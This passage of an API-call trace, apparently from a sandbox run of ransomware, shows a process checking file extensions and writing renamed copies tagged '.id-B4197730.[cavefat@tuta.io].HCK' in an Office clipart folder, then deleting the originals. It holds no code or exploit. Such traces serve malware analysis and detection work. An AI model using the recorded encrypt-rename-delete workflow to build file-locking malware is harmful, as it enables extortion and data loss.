Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196364.wmf")) returned 1 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.065] lstrlenW (lpString=".doc") returned 4 [0245.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString=".docx") returned 5 [0245.065] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0245.065] lstrlenW (lpString=".pdf") returned 4 [0245.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString=".xls") returned 4 [0245.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.065] lstrlenW (lpString=".xlsx") returned 5 [0245.065] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0245.065] lstrlenW (lpString=".ppt") returned 4 [0245.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.065] lstrlenW (lpString=".zip") returned 4 [0245.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.065] lstrlenW (lpString=".rar") returned 4 [0245.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString=".bz2") returned 4 [0245.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString=".7z") returned 3 [0245.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.065] lstrlenW (lpString=".dbf") returned 4 [0245.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.065] lstrlenW (lpString=".1cd") returned 4 [0245.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString=".jpg") returned 4 [0245.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString=".doc") returned 4 [0245.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString=".docx") returned 5 [0245.066] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0245.066] lstrlenW (lpString=".pdf") returned 4 [0245.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString=".xls") returned 4 [0245.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.066] lstrlenW (lpString=".xlsx") returned 5 [0245.066] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0245.066] lstrlenW (lpString=".ppt") returned 4 [0245.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString=".zip") returned 4 [0245.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.066] lstrlenW (lpString=".rar") returned 4 [0245.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString=".bz2") returned 4 [0245.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString=".7z") returned 3 [0245.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString=".dbf") returned 4 [0245.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString=".1cd") returned 4 [0245.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF") returned 68 [0245.066] lstrlenW (lpString=".jpg") returned 4 [0245.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.066] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0245.066] lstrlenW (lpString="J0197979.WMF") returned 12 [0245.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.067] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=40230) returned 1 [0245.067] CloseHandle (hObject=0x56c) returned 1 [0245.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 0x220 [0245.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0245.068] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.068] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.068] GetLastError () returned 0x0 [0245.068] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x9d26, lpOverlapped=0x0) returned 1 [0245.071] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0245.072] ReadFile (in: hFile=0x56c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.072] WriteFile (in: hFile=0x4d4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0245.072] SetEndOfFile (hFile=0x4d4) returned 1 [0245.072] CloseHandle (hObject=0x4d4) returned 1 [0245.072] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.072] SetEndOfFile (hFile=0x56c) returned 1 [0245.271] CloseHandle (hObject=0x56c) returned 1 [0245.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 1 [0245.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.796] lstrlenW (lpString=".doc") returned 4 [0245.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString=".docx") returned 5 [0245.796] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0245.796] lstrlenW (lpString=".pdf") returned 4 [0245.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString=".xls") returned 4 [0245.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.796] lstrlenW (lpString=".xlsx") returned 5 [0245.796] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0245.796] lstrlenW (lpString=".ppt") returned 4 [0245.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.796] lstrlenW (lpString=".zip") returned 4 [0245.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.796] lstrlenW (lpString=".rar") returned 4 [0245.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString=".bz2") returned 4 [0245.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString=".7z") returned 3 [0245.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.796] lstrlenW (lpString=".dbf") returned 4 [0245.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.796] lstrlenW (lpString=".1cd") returned 4 [0245.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.796] lstrlenW (lpString=".jpg") returned 4 [0245.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.797] lstrlenW (lpString=".doc") returned 4 [0245.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString=".docx") returned 5 [0245.797] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0245.797] lstrlenW (lpString=".pdf") returned 4 [0245.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString=".xls") returned 4 [0245.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.797] lstrlenW (lpString=".xlsx") returned 5 [0245.797] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0245.797] lstrlenW (lpString=".ppt") returned 4 [0245.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.797] lstrlenW (lpString=".zip") returned 4 [0245.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.797] lstrlenW (lpString=".rar") returned 4 [0245.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString=".bz2") returned 4 [0245.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString=".7z") returned 3 [0245.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.797] lstrlenW (lpString=".dbf") returned 4 [0245.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.797] lstrlenW (lpString=".1cd") returned 4 [0245.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0245.797] lstrlenW (lpString=".jpg") returned 4 [0245.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.797] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0245.797] lstrlenW (lpString="J0197983.WMF") returned 12 [0245.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0246.726] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=26252) returned 1 [0246.726] CloseHandle (hObject=0x4bc) returned 1 [0246.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 0x220 [0246.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0246.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0246.728] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.728] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0246.729] GetLastError () returned 0x0 [0246.729] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x668c, lpOverlapped=0x0) returned 1 [0246.732] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x6690, lpOverlapped=0x0) returned 1 [0246.733] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0246.733] WriteFile (in: hFile=0x4b0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0246.733] SetEndOfFile (hFile=0x4b0) returned 1 [0246.733] CloseHandle (hObject=0x4b0) returned 1 [0246.733] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.733] SetEndOfFile (hFile=0x4bc) returned 1 [0246.735] CloseHandle (hObject=0x4bc) returned 1 [0246.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0246.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 1 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString=".doc") returned 4 [0246.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString=".docx") returned 5 [0246.737] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0246.737] lstrlenW (lpString=".pdf") returned 4 [0246.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString=".xls") returned 4 [0246.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.737] lstrlenW (lpString=".xlsx") returned 5 [0246.737] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0246.737] lstrlenW (lpString=".ppt") returned 4 [0246.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString=".zip") returned 4 [0246.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.737] lstrlenW (lpString=".rar") returned 4 [0246.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString=".bz2") returned 4 [0246.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString=".7z") returned 3 [0246.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString=".dbf") returned 4 [0246.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString=".1cd") returned 4 [0246.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString=".jpg") returned 4 [0246.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.737] lstrlenW (lpString=".doc") returned 4 [0246.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.737] lstrlenW (lpString=".docx") returned 5 [0246.737] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0246.737] lstrlenW (lpString=".pdf") returned 4 [0246.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString=".xls") returned 4 [0246.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.738] lstrlenW (lpString=".xlsx") returned 5 [0246.738] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0246.738] lstrlenW (lpString=".ppt") returned 4 [0246.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.738] lstrlenW (lpString=".zip") returned 4 [0246.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.738] lstrlenW (lpString=".rar") returned 4 [0246.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString=".bz2") returned 4 [0246.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString=".7z") returned 3 [0246.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.738] lstrlenW (lpString=".dbf") returned 4 [0246.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.738] lstrlenW (lpString=".1cd") returned 4 [0246.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0246.738] lstrlenW (lpString=".jpg") returned 4 [0246.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.738] lstrlenW (lpString=".id-") returned 4 [0246.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558b08 | out: hHeap=0x4f0000) returned 1 [0246.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580728 | out: hHeap=0x4f0000) returned 1 [0246.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3932400 | out: hHeap=0x4f0000) returned 1 [0246.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3942408 | out: hHeap=0x4f0000) returned 1 [0246.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3cf4020 | out: hHeap=0x4f0000) returned 1 [0246.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558a90 | out: hHeap=0x4f0000) returned 1 [0246.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9d90 [0246.744] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9d90, Size=0x20) returned 0x40eb288 [0246.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9df0 [0246.744] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9df0, Size=0x20) returned 0x40eb198 [0246.744] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0246.745] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0246.745] Wow64DisableWow64FsRedirection (in: OldValue=0x321ff50 | out: OldValue=0x321ff50*=0x1) returned 1 [0246.745] lstrlenW (lpString="kernel32.dll") returned 12 [0246.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb198 | out: hHeap=0x4f0000) returned 1 [0246.745] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0246.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb288 | out: hHeap=0x4f0000) returned 1 Thread: id = 324 os_tid = 0xd4c [0224.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3962cf8 [0224.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3972d00 [0224.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b20 [0224.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x580578 [0224.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b38 [0224.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3e02020 [0224.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b50 [0224.131] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b50, Size=0x20) returned 0x52f090 [0224.131] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b50 [0224.131] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b50, Size=0x20) returned 0x52f108 [0224.131] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.131] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.131] Wow64DisableWow64FsRedirection (in: OldValue=0x335ff50 | out: OldValue=0x335ff50*=0x0) returned 1 [0224.131] lstrlenW (lpString="kernel32.dll") returned 12 [0224.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.131] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.131] Sleep (dwMilliseconds=0x64) [0224.305] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.305] lstrlenW (lpString="desktop.ini") returned 11 [0224.305] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0224.306] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=129) returned 1 [0224.306] CloseHandle (hObject=0x350) returned 1 [0224.306] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0224.306] GetFileAttributesW 